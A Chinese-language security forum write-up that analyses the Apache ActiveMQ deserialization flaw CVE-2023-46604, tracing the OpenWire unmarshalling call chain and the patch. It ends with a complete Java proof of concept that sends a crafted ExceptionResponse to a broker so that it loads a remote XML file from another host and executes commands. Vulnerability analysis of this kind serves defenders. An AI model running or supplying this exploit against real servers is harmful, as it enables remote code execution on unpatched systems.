问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)
漏洞分析
ActiveMQ漏洞分析保姆教程(CVE-2023-46604) by 猫蛋儿安全团队
**一、寻找触发点** =========== 首先通过代码对照工具需要漏洞触发点位置。根据对于的代码定位到BaseDataStreamMarshaller这个类的位置,可以看到这里通过反射调用实例化了一个构造函数传参为String的类。并且可以看到5.18.3增加了过滤规则,所以我们跟进IDEA里面进行进一步分析。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-d97c712fb0062a40d0c4a0608ce1194fd729fed3.png) 进入5.18.3版本的代码查看过滤函数。这里对类进行了一次判断,确定传入类是不是继承来自于另一个父类Throwable,如果不是抛出异常。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-232e5bf00294625828eeed612dc458a36205bef5.png) **二、触发点分析** =========== 我们通过对照函数找到了触发点,下一步我们将对触发函数进行进一步的分析首先找到触发点的位置。跟到BaseDataStreamMarshaller.createThrowable位置。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-b47bf11f6346d392cb305512a73f2a8a89a4a1c9.png) 寻找createThrowable函数是什么位置进行触发。可以看到可以通过tightUnmarsalThrowable、looseUnmarsalThrowable两个方法进行触发。 我们了解到这里是通过传入的参数dataIn获取的传入的claszz和message。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-9afb0e2998f10f918841c7a475803a1787237d29.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-27d68a230b8be888435110e9f961bfea72250e2f.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-cfd88c69bab950217cd4d819414ec9dc8f638542.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-95b917fb43d71315f10658b625e6cfc412951683.png) 回到刚才分析的位置,我们选择跟进其中一个looseUnmarsalThrowable进行分析,继续向上寻找looseUnmarsalThrowable的触发点。可以看到存在3个触发点,分别是ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-68fc10cfe03fb7c12bda2e195b649a230660ff20.png) 我们选择跟进其中一个ExceptionResponseMarshaller进行分析,进入looseUnmarshal方法后,dataIn可控,从上层DataInput dataIn传入进来。另外我们通过层次结构分析可以看到方法上层通过OpenWireFormat进行调用,所以我们继续向上。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-15ba23ed7a53c3c2c1a884f2654c1e288d247eaa.png) 进入doUnmarshal,我们从头开始进行分析,传入DataInput dis后,会读取dis的readByte(),之后对其选择对应dataType的执行器,而我们从上面的分析可以得知我们需要触发ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller这三个类的looseUnmarshal方法,可以看到ExceptionResponseMarshaller为31,ConnectionErrorMarshaller为16,MessageAckMarshaller为22。 我们上面拿的是ExceptionResponseMarshaller,所以我们的dataType为31,之后dsm创建了一个对应的类,也就是ExceptionResponse类。最后对应的执行器带着传入的参数dis和创建的类data执行looseUnmarshal向下。 这里我们可以得知DataInput dis需要是ExceptionResponse类dataType才可为31,才可以创建对应的执行器,也就是dsm才可为ExceptionResponseMarshaller。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-13398f7057e275d26f2189971a57522f0c784f6b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-ab5b743da1f01a43b02eaaa4fd3a6e09c71ce2a9.png) 从doUnmarshal方法看完之后我们继续向上我们跟到了unmarshal方法的位置。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-280cb979619b1707d5ef8ef7ecb59091d3aa5285.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-212d6746bf009c6e49b7c1fb0f38fc68d7966a90.png) 通过分析和查询资料得知,不同协议的消息都会从此进行解析。我们可以写一个生产消费的demo去测试TCP协议的传输。然后我们继续向下跟进。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-aa86718a9ca6e950ac219f0c1b998b3aea7f6d63.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-fc02ef3f2bcf7c915b540076e4ae595c8cddaa49.png) 这里我们跟进到了TcpTransport类,readCommand()<—doRun()<—run(),这里其实关键的位置就是readCommand()方法,这里的wireFormat.unmarshal是对数据进行格式化,可以认为这是一个反序列化过程。这个Command也就是我们生成的类,所以我们的发送的消息数据也需要是序列化之后的数据。 到此我们的触发点分析也就结束了,现在我们就还需要解决两个问题 1.如何将marshal后的ExceptionResponse类发送出去。 2.寻找到一个构造函数为String类型的利用链。 **三、\*\***ExceptionResponse**\*\*类** ==================================== 问题1:如何将marshal后的ExceptionResponse类发送出去; 这个问题我们可以通过TcpTransport.oneway方法。这个oneway()方法里面传入的Object Command实际上就是我们正常发送消息使用的producer.send(ObjectMessage)里面的ObjectMessage。这里可以参考以下文章。 <https://www.cnblogs.com/mthoutai/p/6774920.html> <https://www.iteye.com/blog/donald-draper-2348440> 另外关于readCommad()获取消息的过程可以参考下面的文章。 <https://my.oschina.net/u/4410490/blog/3583489> ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-ee1a8755bffe9ba730912dcd1d067573ec4b68e3.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-861fc20ed6cb1bd0dfacc48e1ed116b3366e75b2.png) 我们简单跟进一下生产者的send代码。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-4f5a85099ccc52362cf452d9ef643bb8769721a1.png) 一路跟进 producer.send(message); ActiveMQMessageProducerSupport.class ActiveMQMessageProducer.class ActiveMQSession.class—>this.connection.syncSendPacket ActiveMQConnection.class—> this.transport.request(command) Transport.class ResponseCorrelator.class —>this.asyncRequest(command, (ResponseCallback)null); —>this.next.oneway(command); Transport.class MutexTransport.class—> oneway(Object command) AbstractInactivityMonitor.class —> oneway(Object o) —> this.doOnewaySend(o) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-c741af291f67e31c505af5ef801c0a8db04e8112.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-2fbd37d7c876817f5a1dafbc6e5a9024ec073f27.png) AbstractInactivityMonitor完毕消息发送准备,随后就会调用TcpTransport。OpenWireFormat,DataOutputStream通过tcp发送消息。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-0e7479661b4ea6135ea769f34b4ff7d144f59785.png) 总结一下消息发送流程: 1.发送消息入口 2.调用ActiveMQMessageProducerSupport的send方法 3.调用ActiveMQSession的send接口进行消息发送 4.ActiveMQConnection发送消息 5.ResponseCorrelator发送request 6.调用MutexTransport来发送消息 7.调用AbstractInactivityMonitor完毕消息发送准备 8.调用TcpTransport、OpenWireFormat、DataOutputStream 9.终于完毕通过tcp发送消息 所以我们只要通过oneway(Object o)的方法就相当于producer.send(message);直接发送消息,我们ExceptionResponse类传进去就相当于序列化发送了消息。所以这里我们只需要获取到当前ActiveMQConnection的Transport transport,就可以调用oneway()发送消息,代码如下。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-02eab30cab831d231d56cce0039d22b32cc7f1be.png) //创建连接工厂 ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*); //创建连接 Connection connection = activeMQConnectionFactory.createConnection(); //打开连接 connection.start(); //获取oneway方法 ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse); **四、\*\***ClassPathXmlApplicationContext**\*\*类** ================================================= 问题2:寻找到一个构造函数为String类型的利用链; 这里其他师傅已经找到利用的点了,这里就简单弄一下。 <https://mp.weixin.qq.com/s/4n7vyeXLtim0tXcjnSWDAw> ClassPathXmlApplicationContext类可以加载XML进行命令执行。 因为ActiveMQ自带spring相关依赖,所以可以直接利用这个方法。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-021895f28bc2ee159921724e0a836ae87a6f2a2c.png) 因为这个漏洞触发可以看到都是需要是Throwable。所以我们只需要制作一个相同路径的ClassPathXmlApplicationContext类,触发之后系统将会寻找对应的ClassPathXmlApplicationContext类。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-b3313a6cbba21155434dd04fffa903402bfda09b.png) 制作一个ClassPathXmlApplicationContext类。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-abca6e89b45bfe7232bdd2450765aee38f495828.png) 按照ActiveMQ的发送消息demo写一个利用的POC。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-7d2764eded3e945248f3766608c3677bbbbd6614.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-02f491ec60ae834e451458532dc88096aa211dab.png) ```jsimport import org.apache.activemq.ActiveMQConnectionFactory; import org.apache.activemq.command.ExceptionResponse; import org.apache.activemq.transport.AbstractInactivityMonitor; import org.springframework.context.support.ClassPathXmlApplicationContext; import javax.jms.\*; import java.io.\*; import java.lang.reflect.Method; public class MQ\_POC { private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616"; //定义发送消息的队列名称 private static final String *QUEUE\_NAME* \= "tempQueue"; public static void main(String\[\] args) throws Exception { //创建连接工厂 ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*); //创建连接 Connection connection = activeMQConnectionFactory.createConnection(); //打开连接 connection.start(); Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml"); ExceptionResponse exceptionResponse = new ExceptionResponse(obj2); ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse); connection.close(); } } ``` 简单跟进一下,就不深入分析了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-b2b09cf97d0cf4a4126286a93ed39cbc3bb9868c.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-2adbc61f911fa62d0daa4bf5f7c684705e9f5bd2.png) 成功命令执行。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-3373100289698a36c74d6afc7df5144fd3f3b20d.png) **五、漏洞流程完整调试** ============== 首先我们的讲序列化好的数据进行发送。 ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse); 这里将会走以下流程 1.发送消息入口 2.调用ActiveMQMessageProducerSupport的send方法 3.调用ActiveMQSession的send接口进行消息发送 4.ActiveMQConnection发送消息 5.ResponseCorrelator发送request 6.调用MutexTransport来发送消息 7.调用AbstractInactivityMonitor完毕消息发送准备 8.调用TcpTransport、OpenWireFormat、DataOutputStream 9.终于完毕通过tcp发送消息 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-0c194f1df48f9723942b7aa47293d7fdc280733d.png) ActiveMQ将会监听TCP对应的61616端口。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-f1ae5275191e543cb55619d03e677bf3326714df.png) 对应的会传递到TcpTransport ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-4d94c9c24b2ca1a4c809699f0c2825a6f961a46d.png) 跳转到OpenWireFormat开始进行反序列化。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-2d41d6647bf311327142a579ba8ff6c48b80816e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-13e00dea154c55557b9ece24646cac9cdfeecde0.png) 我们的类型为对应的31,之后会进入tightUnmarshal方法或者looseUnmarshal方法。(这里用looseUnmarshal方法举例) 跳转到对应的looseUnmarshal方法,之后进入looseUnmarsalThrowable方法。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-b28249cb404de6dbf5ec8a57fd97a6dc1fed66b8.png) 进入looseUnmarsalThrowable方法,将获取clazz和message随后将其传入createThrowable ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-66c4fbd20e09fb70cf2e6a98075e5f00e0fb0877.png) 进入createThrowable,反射调用传入clazz对应的构造函数然后进行实例化。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-34c99e2d17f40fc9d863b744ffc17e4c40c7220a.png) 由于我们poc构造的clazz是ClassPathXmlApplicationContext类,所以对应跳转到改类。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-229c8917b5a273fc62bee838fa6687fc4e6fdf8b.png) 将传入的位置传入对应的触发点。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-397955c27db28a4863c0b8c2d7776e13bb5614d1.png) 成功利用。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/11/attach-4346481db399b1cf32b061ae374483f6c974287f.png)
发表于 2023-11-23 09:00:01
阅读 ( 15551 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
猫蛋儿安全团队
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!